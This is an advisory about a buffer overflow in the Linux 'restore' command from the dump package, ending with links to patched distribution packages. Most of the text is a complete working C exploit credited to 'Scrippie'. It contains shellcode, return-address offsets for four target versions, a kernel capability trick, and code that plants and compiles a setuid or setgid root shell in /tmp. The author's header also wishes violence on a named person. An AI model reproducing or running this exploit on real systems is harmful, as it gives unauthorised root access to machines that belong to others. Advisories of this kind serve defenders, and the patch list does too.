COMMAND

    restore

SYSTEMS AFFECTED

    Linux

PROBLEM

    Ronald Huizer [Crew] posted  following.  There is  buffer overflow
    in restore.  Here is the exploit:

    /*
       DO NOT DISTRIBUTE     -     DO NOT DISTRIBUTE     -     DO NOT DISTRIBUTE

       Restore In Peace ?

       Guess not, silly mistakes keep being made in the dump package time
       and time again... Someone should give it an audit once

        For once, NOT a L4m3rz stylish shellscript, but a pure C program that
        does the same trick.
        It's so messy that I have changed my mind about not writing shellscript
        exploits and will go and write a L4m3rz stylish script next time :)

        Use as: rip <type> [offset]
        Where type is: 1) dump 0.3-14 on regular Linux boxes
                       2) dump 0.3-14 on Linux boxes with 2.2.X && X<16 kernel
                       3) dump-0.4b13 on regular Linux boxes
                       4) dump-0.4b13 on Linux boxes with the buggy kernel

        A Linux box with a buggy kernel will yield root. In other cases we get
        a setgid root.

        Type (1) might function a bit buggy with bash 2 since we cannot setgid
        to 0 when we're egid 0 - set SHAT to ash or zsh instead :(
        I realized that type 2 also doesn't work perfectly with bash2 - use a
        real shell for this exploit.

        Good Riddance!
           -- Scrippie
           -- ronald@grafix.nl - #phreak.nl - buffer0verfl0w security

        Love goes out to: Hester, Maja, Renata

        I hope the following person will ambushed by villains with chainsaws:
           Gerrie Mansur

        Shouts to: all my friends @ircnet and @IRL

       DO NOT DISTRIBUTE     -     DO NOT DISTRIBUTE     -     DO NOT DISTRIBUTE

    */

    #include <stdio.h>
    #include <linux/capability.h>
    #include <linux/unistd.h>
    #include <sys/types.h>

    #define NOP	0x90		/* Here I am again, I'm coming back for more */
    #define RETA314	2052		/* Index number of the return address */
    #define RETA4b13 2068
    #define NUMNOPS	700		/* 700 usefull nops on the stack */
    #define SHELLAT	"/tmp/loki"	/* Hail to thee, god of evil! */

    #define SHAT	"/bin/ash"	/* And to thee, *nix utilities! */
    #define CHOWNAT	"/bin/chown"
    #define CHMODAT "/bin/chmod"

    #define GCCAT	"/usr/bin/gcc"	/* And to thee, GNU utilities! */

    #define RESTAT	"/sbin/restore"	/* And to thee, buggy file! */

    char hellcode[] =
       "\x66\x31\xc0\x66\x31\xdb\xb0\x17\xcd\x80" /* Bash 2 evasion */
       "\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80" /* Idem for gid */
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/tmp/lk";

    _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
    extern int capset(cap_user_header_t header, cap_user_data_t data);
    void banner(void);
    void makeLKregular(void);
    void makeLKbuggyKernel(void);
    void makeCFILE(void);

    unsigned long get_sp(void) {
       __asm__("movl %esp, %eax");
    }

    main(int argc, char **argv)
    {
       FILE *evilRestore, lk;
       char *overflow;
       unsigned long addy;
       int offset=0;
       int retapos;
       pid_t child;
       int type;

       if(argc<2) {
          banner();
          exit(-1);
       }

       if(argc == 3) offset = atoi(argv[2]);

       switch(atoi(argv[1])) {
          case 1:
             printf("Assuming Dump package version: dump-0.3-14\n");
             printf("Trying to grab SGID root shell...\n");
             type = 1;
             offset = 2500;
             retapos = RETA314;
             break;
          case 2:
             printf("Assuming Dump package version: dump-0.3-14\n");
             printf("Trying to grab SUID root shell...\n");
             type = 2;
             offset = 2500;
             retapos = RETA314;
             break;
          case 3:
             printf("Assuming Dump package version: dump-0.4b13\n");
             printf("Trying to grab SGID root shell...\n");
             type = 1;
             offset = 6000;
             retapos = RETA4b13;
             break;
          case 4:
             printf("Assuming Dump package version: dump-0.4b13\n");
             printf("Trying to grab SUID root shell...\n");
             type = 2;
             offset = 6000;
             retapos = RETA4b13;
             break;
          default:
             printf("Unknown type - exiting\n");
             exit(-1);
       }

       if(type == 2) {
            struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
            struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
            capset(&caph, &capd);
            printf("Dropped the SETUID_CAP...\n");
       }

       addy = get_sp() - offset;

       overflow = (char *) malloc(retapos+5);

       memset(overflow, 0x90, retapos);

       memcpy((overflow+NUMNOPS), hellcode, strlen(hellcode));

       overflow[retapos] = addy & 0xff;
       overflow[retapos+1] = (addy >> 8 & 0xff);
       overflow[retapos+2] = (addy >> 16 & 0xff);
       overflow[retapos+3] = (addy >> 24 & 0xff);
       overflow[retapos+4] = 0x00;

       evilRestore = fopen("/tmp/t", "w");

       printf("Building C program wrapper...\n");
       makeCFILE();
       printf("Building ShellScript that will be called...\n");

       if(type == 1) makeLKregular();
       if(type == 2) makeLKbuggyKernel();

       printf("Building overflow file...\n");
       printf("Using address: %x\n", addy);

       fprintf(evilRestore, "n\nn\nn\nn\n1\n");
       fprintf(evilRestore, overflow);
       fprintf(evilRestore, "\n1\nnone\n");

       fflush(evilRestore);
       fclose(evilRestore);

       printf("Executing: %s\n", RESTAT);
       sleep(3);

       if((child = fork()) == 0) {
          char blaat[200];
          snprintf(blaat, 200, "%s -R < /tmp/t\n", RESTAT);
          system(blaat);
          unlink("/tmp/t");
          unlink("/tmp/lk");
       }

       printf("\nIf everything worked out you can now run: %s\n", SHELLAT);

    }

    void makeLKregular(void)
    {
       FILE *lk;
       char blaat[1000];	/* Phjear the allmighty mem-sucker! */

       lk = fopen("/tmp/lk", "w");

       snprintf(blaat, 1000, "#!%s\n%s .root %s\n%s 6755 %s\n",
                SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);

       fprintf(lk, blaat);
       fflush(lk);
       fclose(lk);
       umask(0);
       chmod("/tmp/lk", 0755);
    }

    void makeLKbuggyKernel(void)
    {
       FILE *lk;
       char blaat[1000];    /* Phjear the allmighty mem-sucker! */

       lk = fopen("/tmp/lk", "w");

       snprintf(blaat, 1000, "#!%s\n%s root.root %s\n%s 6755 %s\n",
                SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);

       fprintf(lk, blaat);
       fflush(lk);
       fclose(lk);
       umask(0);
       chmod("/tmp/lk", 0755);
    }


    void makeCFILE(void)
    {
       FILE *loki;
       pid_t child;

       loki = fopen("/tmp/loki.c", "w");
       fprintf(loki, "#include <stdio.h>\n\n");
       fprintf(loki, "main()\n");
       fprintf(loki, "{\n   setuid(0);\n");
       fprintf(loki, "   setgid(0);\n");
       fprintf(loki, "   execl(\"");
       fprintf(loki, SHAT);
       fprintf(loki, "\", \"sh\", NULL);\n");
       fprintf(loki, "}");

       fflush(loki);
       fclose(loki);

       if((child = fork()) == 0) {
          execl(GCCAT, "gcc", "/tmp/loki.c", "-o", SHELLAT, NULL);
       }
       wait();
       unlink("/tmp/loki.c");
    }

    void banner(void)
    {
       printf("Restore In Peace ? - Scrippie/#phreak.nl/b0f\n");
       printf("--------------------------------------------\n");
       printf("Use as: rip <type> [offset]\n");
       printf("Types - 1) dump-0.3-14 - Regular Linux\n");
       printf("      - 2) dump-0.3-14 - Linux with buggy kernel :)\n");
       printf("      - 3) dump-0.4b13 - Regular Linux\n");
       printf("      - 4) dump-0.4b13 - Linux with buggy kernel :)\n");
    }

SOLUTION

    Remove suid bit.  For Conectiva Linux:

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/dump-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/rmt-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/dump-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/rmt-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/dump-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/rmt-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/dump-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/rmt-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/dump-0.4b18-1cl.i386.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/rmt-0.4b18-1cl.i386.rpm

    Direct link to the source packages:

        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/SRPMS/dump-0.4b18-1cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/SRPMS/dump-0.4b18-1cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/SRPMS/dump-0.4b18-1cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/SRPMS/dump-0.4b18-1cl.src.rpm
        ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/SRPMS/dump-0.4b18-1cl.src.rpm

    For Linux-Mandrake:

        6.0/RPMS/dump-0.4b18-1mdk.i586.rpm
        6.0/RPMS/rmt-0.4b18-1mdk.i586.rpm
        6.0/SRPMS/dump-0.4b18-1mdk.src.rpm
        
        6.1/RPMS/dump-0.4b18-1mdk.i586.rpm
        6.1/RPMS/rmt-0.4b18-1mdk.i586.rpm
        6.1/SRPMS/dump-0.4b18-1mdk.src.rpm
        
        7.0/RPMS/dump-0.4b18-1mdk.i586.rpm
        7.0/RPMS/rmt-0.4b18-1mdk.i586.rpm
        7.0/SRPMS/dump-0.4b18-1mdk.src.rpm
        
        7.1/RPMS/dump-0.4b18-1mdk.i586.rpm
        7.1/RPMS/rmt-0.4b18-1mdk.i586.rpm
        7.1/SRPMS/dump-0.4b18-1mdk.src.rpm